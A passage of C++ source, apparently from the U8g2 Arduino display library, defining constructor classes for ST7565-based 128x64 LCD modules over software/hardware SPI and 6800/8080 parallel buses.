u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12864_1_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_1_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_JLX12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_JLX12864_1_6800 : public U8G2 { public: U8G2_ST7565_JLX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_1_8080 : public U8G2 { public: U8G2_ST7565_JLX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM128_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM128_2_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_2_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6063_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6063_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6063_2_6800 : public U8G2 { public: U8G2_ST7565_LM6063_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_2_8080 : public U8G2 { public: U8G2_ST7565_LM6063_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_64128N_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_64128N_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_64128N_2_6800 : public U8G2 { public: U8G2_ST7565_64128N_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_2_8080 : public U8G2 { public: U8G2_ST7565_64128N_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_6800 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_2_8080 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6059_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6059_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6059_2_6800 : public U8G2 { public: U8G2_ST7565_LM6059_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_2_8080 : public U8G2 { public: U8G2_ST7565_LM6059_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_KS0713_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_2_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_KS0713_2_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_KS0713_2_6800 : public U8G2 { public: U8G2_ST7565_KS0713_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_2_8080 : public U8G2 { public: U8G2_ST7565_KS0713_2_8080(const u8g2_cb_t 